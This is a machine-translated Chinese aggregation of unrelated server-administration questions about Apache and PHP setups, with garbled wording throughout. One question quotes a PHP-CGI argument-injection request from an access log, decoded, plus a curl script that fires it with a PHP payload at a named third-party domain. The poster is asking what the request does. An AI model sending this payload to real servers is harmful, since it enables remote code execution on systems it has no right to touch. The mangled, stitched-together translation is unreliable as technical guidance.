设置细节: 我有Apache 2.2.14在Ubuntu 10.04下运行。 虚拟主机的文档根目录设置为符号链接。 请求的脚本一目了然: <?php // other useful stuff here echo 'v1.2.42'; 所以除了做有用的工作之外,脚本还在页脚中输出它的版本。 该版本在脚本中被硬编码,并被构build脚本修改。 在部署新版本时,文档根目录将使用非常标准的方法切换到新版本: ln -s /path/to/app-1.2.43 app-new mv -Tf app-new app # where `app` is the document root 之后,我不做任何reload或restart的Apache。 今天就是我刚刚经历的另一个版本: 我将1.2.42版本升级到1.2.43 在浏览器中打开应用程序 底部是42 F5 – 仍然是42 。 然后42和43随机出现。 大约30秒后,预期的43开始持续显示。 另一台具有类似configuration的服务器的行为完全相同。 似乎有一些不断的超时,直到开始工作正常:-S 更多configuration细节: apacheconfiguration为通过mpm-prefork运行。 PHP的版本是5.3.2,它被安装为mod_php 。 没有安装任何操作码caching。 任何想法,它可以caching它? apache2 reload 保证这不会发生? PS:我已经certificate(对我自己), […]
警告:以下请求可能会损害您的服务器。 我在apache日志中得到了一些奇怪的东西: "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 276 "-" "-" 意即: POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n 正如你可以看到这给200,但是当我用curl运行它: <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://aussehenwie.de/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "<?php echo 'hacked'; "); echo curl_exec($ch); curl_close($ch); ?> 它返回一个404.这是一样的,当我从terminal运行它。 为什么? 这个尴尬的URL在做什么?
我们目前有一个网站托pipe在Windows机器上,因为网站运行在.NET上。 我们正计划在Drupal中build立一个Intranet门户。 这是可能的子域? 我将不得不购买一个单独的Linux主机,并在那里指出子域名?
请多多包涵。 我觉得我的问题太愚蠢了,可能是我在网上找不到答案的原因。 我需要使用一个名为mcrypt_encrypt()的PHP函数。 所以我看看php.ini来激活mcrypt扩展,search: ;extension=php_mcrypt.dll 但是在我的php.ini中没有关于mcrypt的信息…所以我使用yum来安装扩展: yum install php-mcrypt 一切正常! 但是,回头看看php.ini文件,我希望find一条关于mcrypt扩展被激活的线。 没有。 我想我的问题是更多关于如何百胜的工作:如何可以安装和激活一个PHP扩展没有修改php.ini文件?
我一直在试图让PHP-FPM与Apache 2.4一起工作,但mod_fastcgi不能在2.4下工作。 有没有解决这个问题? 我想使用UNIX套接字来运行它,但我找不到任何教程,他们都使用127.0.0.1:9000
我有一个LAMP堆栈, Ubuntu 12.04.3 LTS PHP 5.3.10-1ubuntu3.8与Suhosin-Patch(cli)(构build时间:Sep 4 2013 20:05:42) Apache / 2.2.22(Ubuntu) MYSQL 5.5.32-0ubuntu0.12.04.1(Ubuntu) Codeigniter 2.1.0 所有这些都正在运行,因为它们应该是。 这些网站是: bf.getsimpleapps.com ac.getsimpleapps.com getsimpleapps.com 有些用500服务器错误加载其他空白页面。 我怎么去debugging,为什么它不工作。 PHP网站/代码应该运行良好,代码已经生产了好几个月。 这一切都开始,因为我今天进入服务器,以清除一些磁盘空间(我删除了一些mysqldump )。 我也运行apt-get update和apt-get upgrade ,它可能已经更新了PHP。 现在,MySQL正在工作,我认为这是主要的错误,但现在这些网站没有响应。 我已经检查过各个站点的错误日志,而且没有任何内容。 我试图启用PHP错误报告,看看是否是这个问题,什么都没有出现。 我已经用“hello world” index.php文件replace了sites /public目录,它出现在网站上很好,这意味着服务器正在运行,对吗? 任何援助将是非常好的,我完全死在水中…
我不是平局中最锋利的服务器pipe理员,所以我希望这不是一个愚蠢的问题。 我期待使PHP邮件()发送相关的域名,而不是从默认的服务器主机名。 目前,无论哪个域执行任务,总是通过我的默认服务器主机名来声明。 我已经安装了一个安装了plesk的Linux(CentOS 5.5)服务器,并假设答案将在etc / hosts文件或php.ini(sendmail_path)中,但现在我卡住了。 提前致谢。 TT
这看起来很奇怪,我有一个CentOS框中的apache httpd服务器,它有这个安全问题: 虚拟主机已启用,该网站在/data/www/vhost2/index.php它看起来像,如果我告诉index.php寻找一个文件在../../(所以它退出www目录)它看到它! 我怎样才能阻止从外面看这个目录的PHP? 我必须使用basedir吗? 那么虚拟主机呢,是否可以像沙盒一样对每个文件夹进行操作呢? 谢谢
假设我们有一个典型的LAMP设置。 当一个人请求用PHP编码的网页时,Apache级别会发生什么? Apache是否创build一个新的php实例来创build并返回该网页? 还是有一个持续运行的PHP实例? 基本上,这是我认为它的工作原理: 人员访问http://example.com/index.php Apache收到请求后,创build一个php的实例来创build页面 页面被创build,发送回请求的浏览器 PHP实例已closures 因此,只有一个PHP实例处理页面请求…我的想法是否正确呢?
我使用IIS运行Windows Server 2012。 我启用了CGI,并使用IIS FastCGI和多字节string安装了PHP。 这也是非线程安全版本。 虽然,我做了一个PHP文件来testingPHP,但IIS只是给我一个404.3错误。 我已经重新安装IIS和PHP,它仍然无法正常工作。 有谁知道为什么? 谢谢。